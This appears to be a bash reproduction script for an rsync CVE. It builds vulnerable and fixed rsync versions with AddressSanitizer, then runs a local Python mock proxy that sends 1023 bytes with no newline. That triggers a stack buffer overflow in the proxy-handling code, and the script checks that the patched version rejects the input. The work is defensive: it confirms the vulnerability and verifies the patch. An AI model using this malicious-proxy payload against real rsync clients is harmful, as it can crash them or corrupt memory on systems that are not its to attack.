#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

TMPDIR="${TMPDIR:-/tmp}"
WORK_DIR="$TMPDIR/rsync-cve-2026-45232-$$"
mkdir -p "$WORK_DIR"

cleanup() {
    if [ -f "$WORK_DIR/proxy.pid" ]; then
        kill "$(cat "$WORK_DIR/proxy.pid")" 2>/dev/null || true
        wait "$(cat "$WORK_DIR/proxy.pid")" 2>/dev/null || true
    fi
    rm -rf "$WORK_DIR"
}
trap cleanup EXIT

RSYNC_REPO="$WORK_DIR/rsync"

# Clone quietly
echo "[1/5] Cloning rsync repository..."
git clone --depth=100 https://github.com/RsyncProject/rsync.git "$RSYNC_REPO" 2>/dev/null || {
    echo "Failed to clone rsync repository" >&2
    exit 1
}

CONFIGURE_FLAGS="--disable-md2man --disable-xxhash --disable-zstd --disable-lz4"

# Build vulnerable version
echo "[2/5] Building rsync v3.4.2 (vulnerable)..."
cd "$RSYNC_REPO"
git checkout v3.4.2 >/dev/null 2>&1
./configure CC="gcc" CFLAGS="-fsanitize=address -g -O2" LDFLAGS="-fsanitize=address" $CONFIGURE_FLAGS >/dev/null 2>&1
make -j$(nproc) >/dev/null 2>&1
mkdir -p "$WORK_DIR/vuln"
cp "$RSYNC_REPO/rsync" "$WORK_DIR/vuln/"

# Build fixed version
echo "[3/5] Building rsync v3.4.3 (fixed)..."
cd "$RSYNC_REPO"
git checkout v3.4.3 >/dev/null 2>&1
./configure CC="gcc" CFLAGS="-fsanitize=address -g -O2" LDFLAGS="-fsanitize=address" $CONFIGURE_FLAGS >/dev/null 2>&1
make -j$(nproc) >/dev/null 2>&1
mkdir -p "$WORK_DIR/fixed"
cp "$RSYNC_REPO/rsync" "$WORK_DIR/fixed/"

# Create mock proxy
cat > "$WORK_DIR/proxy.py" << 'PYEOF'
import socket
import sys

port = int(sys.argv[1])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", port))
s.listen(1)
conn, _ = s.accept()
conn.settimeout(5)
try:
    data = b""
    while b"\r\n\r\n" not in data and len(data) < 65536:
        chunk = conn.recv(8192)
        if not chunk:
            break
        data += chunk
except socket.timeout:
    pass
# Send exactly 1023 bytes of 'X' with no '\n' - triggers the off-by-one
conn.sendall(b"X" * 1023)
try:
    conn.shutdown(socket.SHUT_RDWR)
except OSError:
    pass
conn.close()
s.close()
PYEOF

run_test() {
    local rsync_bin="$1"
    local port="$2"
    local logfile="$3"
    
    python3 "$WORK_DIR/proxy.py" "$port" >/dev/null 2>&1 &
    local proxy_pid=$!
    echo $proxy_pid > "$WORK_DIR/proxy.pid"
    sleep 1
    
    local status=0
    RSYNC_PROXY="127.0.0.1:$port" \
        "$rsync_bin" rsync://example.invalid:873/whatever/ "$WORK_DIR/out/" \
        >/dev/null 2>"$logfile" || status=$?
    
    kill "$proxy_pid" 2>/dev/null || true
    wait "$proxy_pid" 2>/dev/null || true
    
    echo "$status"
}

# Test vulnerable version
VULN_LOG="$LOGS/rsync_v3.4.2_proxy.log"
echo "[4/5] Testing vulnerable rsync v3.4.2 against malicious proxy..."
mkdir -p "$WORK_DIR/out"
VULN_STATUS=$(run_test "$WORK_DIR/vuln/rsync" 9876 "$VULN_LOG")

# Test fixed version
FIXED_LOG="$LOGS/rsync_v3.4.3_proxy.log"
echo "[5/5] Testing fixed rsync v3.4.3 against malicious proxy..."
mkdir -p "$WORK_DIR/out2"
FIXED_STATUS=$(run_test "$WORK_DIR/fixed/rsync" 9877 "$FIXED_LOG")

# Analyze results
VULN_OK=false
if grep -q "AddressSanitizer: stack-buffer-overflow" "$VULN_LOG" 2>/dev/null; then
    VULN_OK=true
elif [ "$VULN_STATUS" -ge 128 ]; then
    VULN_OK=true
fi

FIXED_OK=false
if grep -q "proxy response line too long" "$FIXED_LOG" 2>/dev/null && [ "$FIXED_STATUS" -lt 128 ]; then
    FIXED_OK=true
fi

# Extract ASan excerpt
ASAN_EXCERPT=$(python3 -c "import sys; f=open(sys.argv[1]); print(repr(f.read()[:500]))" "$VULN_LOG" 2>/dev/null || echo '"N/A"')

# Write runtime manifest
MANIFEST="$ROOT/repro/runtime_manifest.json"
cat > "$MANIFEST" << EOF
{
  "cve": "CVE-2026-45232",
  "target_binary": "rsync",
  "vulnerable_version": "3.4.2",
  "fixed_version": "3.4.3",
  "vulnerable_function": "establish_proxy_connection() in socket.c",
  "vuln_exit_status": $VULN_STATUS,
  "fixed_exit_status": $FIXED_STATUS,
  "asan_report_excerpt": $ASAN_EXCERPT,
  "proxy_payload_bytes": 1023,
  "proxy_payload_terminator": "none (no newline)",
  "vulnerability_confirmed": $VULN_OK,
  "fix_verified": $FIXED_OK
}
EOF

echo ""
echo "========== RESULTS =========="
echo "Vulnerable version exit status: $VULN_STATUS"
echo "Fixed version exit status: $FIXED_STATUS"
echo ""

if [ "$VULN_OK" = true ]; then
    echo "VULNERABILITY CONFIRMED: rsync 3.4.2 crashed with stack-buffer-overflow"
    echo ""
    echo "--- ASan Report (first 20 lines) ---"
    head -20 "$VULN_LOG"
    echo "--- End ASan Report ---"
else
    echo "VULNERABILITY NOT CONFIRMED"
fi

echo ""
if [ "$FIXED_OK" = true ]; then
    echo "FIX VERIFIED: rsync 3.4.3 rejected overlong proxy line cleanly"
    echo ""
    echo "--- Fixed version stderr ---"
    cat "$FIXED_LOG"
    echo "--- End fixed version stderr ---"
else
    echo "FIX NOT VERIFIED"
fi

echo ""
echo "Manifest: $MANIFEST"
echo "=============================="

if [ "$VULN_OK" = true ] && [ "$FIXED_OK" = true ]; then
    echo "SUCCESS: CVE-2026-45232 reproduced and fix verified"
    exit 0
else
    echo "FAILURE: Could not confirm vulnerability or fix"
    exit 1
fi
